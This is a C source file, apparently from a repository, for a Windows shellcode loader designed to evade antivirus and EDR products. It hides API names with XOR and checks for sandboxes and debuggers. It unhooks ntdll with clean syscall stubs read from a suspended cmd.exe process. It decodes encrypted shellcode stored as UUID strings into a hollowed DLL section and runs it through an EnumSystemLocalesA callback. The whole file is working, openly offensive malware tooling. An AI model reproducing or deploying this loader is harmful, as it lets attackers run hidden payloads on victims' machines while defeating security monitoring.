Files
2023-03-17 22:48:24 -04:00

718 lines
22 KiB
C

#include <Windows.h>
#include <TlHelp32.h>
#include <Rpc.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <tchar.h>
#pragma comment (lib, "Rpcrt4.lib")
#define GETIMAGESIZE(x) (x->pNtHdr->OptionalHeader.SizeOfImage)
#define GETMODULEBASE(x) ((PVOID)x->pDosHdr)
#define STARTSWITHA(x1, x2) ((strlen(x2) > strlen(x1)) ? FALSE : ((BOOL)RtlEqualMemory(x1, x2, strlen(x2))))
#define ENDSWITHW(x1, x2) ((wcslen(x2) > wcslen(x1)) ? FALSE : ((BOOL)RtlEqualMemory(x1 + wcslen(x1) - wcslen(x2), x2, wcslen(x2))))
#if defined(_WIN64)
#define SYSCALLSIZE 0x20
#else
#define SYSCALLSIZE 0x10
#endif
#define KEY 0xe6
#define KEYSIZE sizeof(decKey) - 1
#define SHELLSIZE 0x110
typedef struct
{
PIMAGE_DOS_HEADER pDosHdr;
PIMAGE_NT_HEADERS pNtHdr;
PIMAGE_EXPORT_DIRECTORY pExpDir;
PIMAGE_SECTION_HEADER pTextSection;
} IMAGE, *PIMAGE;
/* PEB structures redefintion */
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
typedef struct _PEB_LDR_DATA
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_FREE_BLOCK
{
struct _PEB_FREE_BLOCK *pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
typedef struct __PEB
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, *_PPEB;
typedef HANDLE(WINAPI *CreateFileAFunc)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI *CreateProcessAFunc)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef BOOL(WINAPI *ReadProcessMemoryFunc)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
typedef BOOL(WINAPI *TerminateProcessFunc)(HANDLE, UINT);
typedef LPVOID(WINAPI *VirtualAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef LPVOID(WINAPI *VirtualProtectFunc)(LPVOID, SIZE_T, DWORD, PDWORD);
DWORD g_dwNumberOfHooked = 0;
char cLib1Name[] = { 0x8d, 0x83, 0x94, 0x88, 0x83, 0x8a, 0xd5, 0xd4, 0xc8, 0x82, 0x8a, 0x8a, 0x0 };
char cLib2Name[] = { 0x8b, 0x95, 0x8e, 0x92, 0x8b, 0x8a, 0xc8, 0x82, 0x8a, 0x8a, 0x0 };
char cCreateFileA[] = { 0xa5, 0x94, 0x83, 0x87, 0x92, 0x83, 0xa0, 0x8f, 0x8a, 0x83, 0xa7, 0x0 };
char cCreateProcessA[] = { 0xa5, 0x94, 0x83, 0x87, 0x92, 0x83, 0xb6, 0x94, 0x89, 0x85, 0x83, 0x95, 0x95, 0xa7, 0x0 };
char cReadProcessMemory[] = { 0xb4, 0x83, 0x87, 0x82, 0xb6, 0x94, 0x89, 0x85, 0x83, 0x95, 0x95, 0xab, 0x83, 0x8b, 0x89, 0x94, 0x9f, 0x0 };
char cTerminateProcess[] = { 0xb2, 0x83, 0x94, 0x8b, 0x8f, 0x88, 0x87, 0x92, 0x83, 0xb6, 0x94, 0x89, 0x85, 0x83, 0x95, 0x95, 0x0 };
char cVirtualAlloc[] = { 0xb0, 0x8f, 0x94, 0x92, 0x93, 0x87, 0x8a, 0xa7, 0x8a, 0x8a, 0x89, 0x85, 0x0 };
char cVirtualProtect[] = { 0xb0, 0x8f, 0x94, 0x92, 0x93, 0x87, 0x8a, 0xb6, 0x94, 0x89, 0x92, 0x83, 0x85, 0x92, 0x0 };
char decKey[] = { 0xbf, 0x89, 0x93, 0xc6, 0x87, 0x94, 0x83, 0xc6, 0x87, 0x88, 0xc6, 0x83, 0x8a, 0x8f, 0x92, 0x83, 0xc6, 0x8e, 0x87, 0x85, 0x8d, 0x83, 0x94, 0xc7, 0x0 };
const char *uuids[] = {
"c4f627a5-9a91-20a5-616e-61342d392634",
"b1502076-2d0e-73f9-3927-fe72793aee72",
"17ab2641-213c-d27b-6a22-2c52a22d43e1",
"5c1453f5-5e63-6145-a0a7-2d246da89688",
"2b302972-37e0-aa52-1b53-3d21b1f9e5a8",
"2d206e61-a9e9-0200-6869-b133e02d6a65",
"69552fd2-a260-7686-2991-e924e75dfc2d",
"522cbe21-2da2-e143-f52e-b4e96c3364e1",
"94558e59-6a20-4138-282d-58b21ebd2a65",
"69512fd2-a260-6103-ea62-6821e729682c",
"e820b821-ed6f-203a-892e-2d61392c3c7a",
"3c613620-332d-e63c-cc48-203194852a60",
"ab3d3500-9b73-df32-9e91-7d2dd6687465",
"63616820-2d6b-acff-586e-752020c854ab",
"b0dfe90e-99d7-c7c1-7629-dbc5fed8efde",
"e4f6278c-4e49-5c63-6bee-db85196ccf22",
"090e1a33-3c6b-a833-8390-a043001e0620"
};
unsigned char *pShell;
CreateFileAFunc pCreateFileAFunc;
CreateProcessAFunc pCreateProcessAFunc;
ReadProcessMemoryFunc pReadProcessMemoryFunc;
TerminateProcessFunc pTerminateProcessFunc;
VirtualAllocFunc pVirtualAllocFunc;
VirtualProtectFunc pVirtualProtectFunc;
_PPEB GetPEB()
{
/*
Get Process Environment Block without call any winapi like NtQueryInformationProcess,
By reading fs/gs registers, read the link below to know more about what is these registers.
=> https://stackoverflow.com/questions/10810203/what-is-the-fs-gs-register-intended-for
*/
#if defined(_WIN64)
/*
; mov rax, gs:[60h]
*/
return (_PPEB)__readgsqword(0x60);
#else
/*
; mov eax, fs:[30h]
*/
return (_PPEB)__readfsdword(0x30);
#endif
}
PVOID FindNtDLL(_PPEB pPEB)
{
/*
Parse Process Environment Block and obtaine ntdll base address from it,
Very useful resource about PEB => https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block
*/
PVOID pDllBase = NULL;
/* Get LoaDeR data structure which contains information about all of the loaded modules */
PPEB_LDR_DATA pLdr = pPEB->pLdr;
PLDR_DATA_TABLE_ENTRY pLdrData;
PLIST_ENTRY pEntryList = &pLdr->InMemoryOrderModuleList;
/* Walk through module list */
for (PLIST_ENTRY pEntry = pEntryList->Flink; pEntry != pEntryList; pEntry = pEntry->Flink)
{
pLdrData = (PLDR_DATA_TABLE_ENTRY)pEntry;
/* If the module ends with ntdll.dll, get its base address */
if (ENDSWITHW(pLdrData->FullDllName.pBuffer, L"ntdll.dll"))
{
pDllBase = (PVOID)pLdrData->DllBase;
break;
}
}
return pDllBase;
}
PIMAGE ParseImage(PBYTE pImg)
{
/*
You can read these resources to know more about PEs
Intro => https://resources.infosecinstitute.com/topic/2-malware-researchers-handbook-demystifying-pe-file/
Detailed => https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
*/
PIMAGE pParseImg;
/* Allocate memory space for the image */
if (!(pParseImg = (PIMAGE) malloc(sizeof(IMAGE))))
{
return NULL;
}
/* Parse DOS Header */
pParseImg->pDosHdr = (PIMAGE_DOS_HEADER)pImg;
/* Check if we parse a valid image or not */
if (pParseImg->pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
{
/*
This isn't a valid image,
Every image has a fixed magic number ==> 0x5a4d
*/
free(pParseImg);
return NULL;
}
/* Parse NT Header */
pParseImg->pNtHdr = (PIMAGE_NT_HEADERS)((DWORD_PTR)pImg + pParseImg->pDosHdr->e_lfanew);
/* Check if this is the NT header or not */
if (pParseImg->pNtHdr->Signature != IMAGE_NT_SIGNATURE)
{
free(pParseImg);
return NULL;
}
/* Parse Export Directory */
pParseImg->pExpDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)pImg + pParseImg->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress);
/* Parse .text section, it's a first section */
pParseImg->pTextSection = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pParseImg->pNtHdr);
return pParseImg;
}
PVOID GetFreshCopy(PIMAGE pHookedImg)
{
/*
Create a suspended process and retrieve a fresh copy from it
Before get hooked by AV/EDRs.
=> https://blog.sektor7.net/#!res/2021/perunsfart.md
*/
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
PVOID pDllBase;
SIZE_T nModuleSize, nBytesRead = 0;
if (
!pCreateProcessAFunc(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
(LPCSTR)"C:\\Windows\\System32\\",
&si,
&pi)
)
return NULL;
nModuleSize = GETIMAGESIZE(pHookedImg);
/* Allocate Memory for the fresh copy */
if (!(pDllBase = (PVOID)pVirtualAllocFunc(NULL, nModuleSize, MEM_COMMIT, PAGE_READWRITE)))
return NULL;
/* Read a fresh copy from the process */
if (!pReadProcessMemoryFunc(pi.hProcess, (LPCVOID)GETMODULEBASE(pHookedImg), pDllBase, nModuleSize, &nBytesRead))
return NULL;
/* We don't need the process anymore */
pTerminateProcessFunc(pi.hProcess, 0);
return pDllBase;
}
PVOID FindEntry(PIMAGE pFreshImg, PCHAR cFunctionName) {
/* Get needed information from the Export Directory */
PDWORD pdwAddrOfFunctions = (PDWORD)((PBYTE)GETMODULEBASE(pFreshImg) + pFreshImg->pExpDir->AddressOfFunctions);
PDWORD pdwAddrOfNames = (PDWORD)((PBYTE)GETMODULEBASE(pFreshImg) + pFreshImg->pExpDir->AddressOfNames);
PWORD pwAddrOfNameOrdinales = (PWORD)((PBYTE)GETMODULEBASE(pFreshImg) + pFreshImg->pExpDir->AddressOfNameOrdinals);
for (WORD idx = 0; idx < pFreshImg->pExpDir->NumberOfNames; idx++) {
PCHAR cFuncName = (PCHAR)GETMODULEBASE(pFreshImg) + pdwAddrOfNames[idx];
PBYTE pFuncAddr = (PBYTE)GETMODULEBASE(pFreshImg) + pdwAddrOfFunctions[pwAddrOfNameOrdinales[idx]];
if (strcmp(cFuncName, cFunctionName) == 0)
{
#if defined(_WIN64)
WORD wCtr = 0;
while(TRUE)
{
/* If we reach syscall instruction before --> <mov r10, rcx> */
if (RtlEqualMemory(pFuncAddr + wCtr, "\x0f\x05", 2))
break;
/* ret instruction (the end of the syscall) */
if (*(pFuncAddr + wCtr) == 0xc3)
break;
/*
Syscalls starts with the following instrucions
; mov r10, rcx
; mov eax, ...
If we reach this pattern, this is what we search about.
*/
if (RtlEqualMemory(pFuncAddr + wCtr, "\x4c\x8b\xd1\xb8", 4) &&
RtlEqualMemory(pFuncAddr + wCtr + 6, "\x00\x00", 2)
)
{
return pFuncAddr;
}
wCtr++;
}
#else
if (STARTSWITHA(cFuncName, "Nt") || STARTSWITHA(cFuncName, "Zw"))
return pFuncAddr;
#endif
}
}
return NULL;
}
BOOL IsHooked(PVOID pAPI)
{
/* If the first syscall instruction was jmp, it's hooked */
if (*((PBYTE)pAPI) == 0xe9)
{
g_dwNumberOfHooked++;
return TRUE;
}
return FALSE;
}
BOOL RemoveHooks(PIMAGE pHookedImg, PIMAGE pFreshImg)
{
PCHAR cFuncName;
PBYTE pFuncAddr;
PVOID pFreshFuncAddr;
DWORD dwOldProtect = 0;
/* Get the Addresses of the functions and names from Export Directory */
PDWORD pdwAddrOfFunctions = (PDWORD)((PBYTE)GETMODULEBASE(pHookedImg) + pHookedImg->pExpDir->AddressOfFunctions);
PDWORD pdwAddrOfNames = (PDWORD)((PBYTE)GETMODULEBASE(pHookedImg) + pHookedImg->pExpDir->AddressOfNames);
PWORD pwAddrOfNameOrdinales = (PWORD)((PBYTE)GETMODULEBASE(pHookedImg) + pHookedImg->pExpDir->AddressOfNameOrdinals);
/* Change page permission of .text section to patch it */
if (!pVirtualProtectFunc((LPVOID)((DWORD_PTR)GETMODULEBASE(pHookedImg) + pHookedImg->pTextSection->VirtualAddress), pHookedImg->pTextSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &dwOldProtect))
return FALSE;
for (WORD idx = 0; idx < pHookedImg->pExpDir->NumberOfNames; idx++)
{
cFuncName = (PCHAR)GETMODULEBASE(pHookedImg) + pdwAddrOfNames[idx];
pFuncAddr = (PBYTE)GETMODULEBASE(pHookedImg) + pdwAddrOfFunctions[pwAddrOfNameOrdinales[idx]];
/* Get only Nt/Zw APIs */
if (STARTSWITHA(cFuncName, "Nt") || STARTSWITHA(cFuncName, "Zw"))
{
#if defined(_WIN64)
/* Exclude these APIs, because they have a jmp instruction */
if (RtlEqualMemory(cFuncName, "NtQuerySystemTime", 18) || RtlEqualMemory(cFuncName, "ZwQuerySystemTime", 18))
continue;
#endif
if (IsHooked(pFuncAddr))
{
/* Find the clean syscall from the fresh copy, to patch the hooked syscall */
if ((pFreshFuncAddr = FindEntry(pFreshImg, cFuncName)) != NULL)
/* Patch it */
RtlCopyMemory(pFuncAddr, pFreshFuncAddr, SYSCALLSIZE);
}
}
}
/* Back the old permission */
if (!pVirtualProtectFunc((LPVOID)((DWORD_PTR)GETMODULEBASE(pHookedImg) + pHookedImg->pTextSection->VirtualAddress), pHookedImg->pTextSection->Misc.VirtualSize, dwOldProtect, &dwOldProtect))
return FALSE;
return TRUE;
}
BOOL UnHookNtDLL(PVOID pNtDLL)
{
PVOID pFreshNtDLL;
PIMAGE pHookedImg, pFreshImg;
BOOL bRet;
/* Parse ntdll */
if (!(pHookedImg = ParseImage((PBYTE)pNtDLL)))
return FALSE;
/* Get a clean copy of ntdll.dll */
if (!(pFreshNtDLL = GetFreshCopy(pHookedImg)))
return FALSE;
/* Parse the fresh copy */
if (!(pFreshImg = ParseImage((PBYTE)pFreshNtDLL)))
return FALSE;
/* Remove hooks from hooked syscalls one by one */
bRet = RemoveHooks(pHookedImg, pFreshImg);
/* Deallocate memory */
free(pHookedImg);
free(pFreshImg);
return bRet;
}
BOOL FindProcById(DWORD dwProcId, PROCESSENTRY32 *pe32)
{
HANDLE hSnapshot;
BOOL bSuccess = FALSE;
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != INVALID_HANDLE_VALUE)
{
pe32->dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, pe32))
{
do {
if (pe32->th32ProcessID == dwProcId)
{
bSuccess = TRUE;
break;
}
} while (Process32Next(hSnapshot, pe32));
}
CloseHandle(hSnapshot);
}
return bSuccess;
}
void deObfuscateData(char *data)
{
for (int idx = 0; idx < strlen(data); idx++)
{
data[idx] = data[idx] ^ KEY;
}
}
void deObfuscateAll()
{
deObfuscateData(decKey);
deObfuscateData(cLib1Name);
deObfuscateData(cLib2Name);
deObfuscateData(cCreateFileA);
deObfuscateData(cCreateProcessA);
deObfuscateData(cReadProcessMemory);
deObfuscateData(cTerminateProcess);
deObfuscateData(cVirtualAlloc);
deObfuscateData(cVirtualProtect);
}
void decShell()
{
for (int idx = 0, ctr = 0; idx < SHELLSIZE; idx++)
{
ctr = (ctr == KEYSIZE) ? 0 : ctr;
pShell[idx] = pShell[idx] ^ decKey[ctr++];
}
}
int _tmain(int argc, TCHAR **argv)
{
_PPEB pPEB;
PVOID pNtDLL;
DWORD_PTR pFuncAddr, pShellReader;
DWORD dwOldProtect = 0;
HMODULE hModule, hModule2;
char *pMem;
int nMemAlloc, nCtr = 0;
PROCESSENTRY32 pe32;
if (FindProcById(GetCurrentProcessId(), &pe32))
{
_tprintf(TEXT("Current pid = %d, exename = %s\n"), pe32.th32ProcessID, pe32.szExeFile);
printf("We found the parent proccess id -> %d\n", pe32.th32ParentProcessID);
if (FindProcById(pe32.th32ParentProcessID, &pe32))
{
_tprintf(TEXT("The parent process is %s\n"), pe32.szExeFile);
/* We expect that will be run from cmd or powershell, else maybe we're inside sandbox */
if (!(_tcscmp(pe32.szExeFile, TEXT("cmd.exe")) == 0 || _tcscmp(pe32.szExeFile, TEXT("powershell.exe")) == 0))
return EXIT_FAILURE;
}
}
puts("Deobfuscate all (APIs, Libraries, Decryption key)");
deObfuscateAll();
/* Load needed libs */
if (!(
(hModule = LoadLibraryA((LPCSTR)cLib1Name)) &&
(hModule2 = LoadLibraryA((LPCSTR)cLib2Name))
)) {
return EXIT_FAILURE;
}
/* Get the Addresses of the APIs */
if (!(
(pCreateFileAFunc = (CreateFileAFunc) GetProcAddress(hModule, cCreateFileA)) &&
(pCreateProcessAFunc = (CreateProcessAFunc) GetProcAddress(hModule, cCreateProcessA)) &&
(pReadProcessMemoryFunc = (ReadProcessMemoryFunc) GetProcAddress(hModule, cReadProcessMemory)) &&
(pTerminateProcessFunc = (TerminateProcessFunc) GetProcAddress(hModule, cTerminateProcess)) &&
(pVirtualAllocFunc = (VirtualAllocFunc) GetProcAddress(hModule, cVirtualAlloc)) &&
(pVirtualProtectFunc = (VirtualProtectFunc) GetProcAddress(hModule, cVirtualProtect))
)) {
return EXIT_FAILURE;
}
/* Check for a non-exist file, if found it we're inside sandbox */
if (pCreateFileAFunc(cLib2Name, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL) != INVALID_HANDLE_VALUE)
{
return EXIT_FAILURE;
}
pPEB = GetPEB();
/* Check if the process under debugger */
if (pPEB->bBeingDebugged)
{
puts("The current process running under debugger");
return EXIT_FAILURE;
}
/*
Move key bits to left, let's say the key is 0xfa,
Will represented as following in memory :
-> 00000000 00000000 00000000 11111010
After moving will be :
-> 00001111 10100000 00000000 00000000
That's a very large number.
*/
nMemAlloc = KEY << 20;
/* Ask os for very large memory, if fail maybe we're inside sandbox */
if (!(pMem = (char *) malloc(nMemAlloc)))
{
return EXIT_FAILURE;
}
/* Make large iterations */
for (int idx = 0; idx < nMemAlloc; idx++)
{
/* Count every iteration one by one */
pMem[nCtr++] = 0x00;
}
/* If number of iterations and the counter isn't same, we're inside sandbox */
if (nMemAlloc != nCtr)
{
return EXIT_FAILURE;
}
/* Deallocate memory */
free(pMem);
puts("Try to find ntdll.dll base address from PEB, without call GetModuleHandle/LoadLibrary");
if(!(pNtDLL = FindNtDLL(pPEB)))
{
puts("Could not find ntdll.dll");
return EXIT_FAILURE;
}
printf("ntdll base address = %p\n", pNtDLL);
puts("Try to unhook ntdll");
if (!UnHookNtDLL(pNtDLL))
{
puts("Something goes wrong in UnHooking phase");
return EXIT_FAILURE;
}
if (g_dwNumberOfHooked != 0)
printf("There were %d hooked syscalls\n", g_dwNumberOfHooked);
else
puts("There are no hooked syscalls");
/*
DLL hollowing to bypass memory monitoring.
Useful resource --> https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection
DLL Base Addr + 0x1000 = RWX section.
We can parse it and obtain the same result.
*/
pFuncAddr = (DWORD_PTR) hModule2 + 0x1000;
/* Shell will point to the hollowed address */
pShell = (unsigned char *) pFuncAddr;
/* This will read shellcode from UUIDs, and reflect it in the hollowed DLL directly */
pShellReader = (DWORD_PTR) pShell;
printf("Shellcode will be written at %p\n", pShell);
/* Change permission of the section, to overwrite it */
if (pVirtualProtectFunc((LPVOID)pFuncAddr, SHELLSIZE, PAGE_READWRITE, &dwOldProtect) == 0)
{
return EXIT_FAILURE;
}
puts("Deobfuscate UUIDs, and obtain encrypted shellcode from it");
for (int idx = 0; idx < sizeof(uuids) / sizeof(PCHAR); idx++)
{
if (UuidFromStringA((RPC_CSTR)uuids[idx], (UUID *)pShellReader) == RPC_S_INVALID_STRING_UUID)
{
return EXIT_FAILURE;
}
/* We have read 16 byte (The size of each UUID), let's move to the next memory space */
pShellReader += 0x10;
}
puts("Decrypt shellcode");
decShell();
/* Back the old permission */
if (pVirtualProtectFunc((LPVOID)pFuncAddr, SHELLSIZE, dwOldProtect, &dwOldProtect) == 0)
{
return EXIT_FAILURE;
}
puts("Inject shellcode, without creating a new thread");
/*
No new thread payload execution,
Creating a new thread is a bad thing (can be monitored by EDRs)
*/
return EnumSystemLocalesA((LOCALE_ENUMPROCA)pFuncAddr, LCID_SUPPORTED) != 0;
}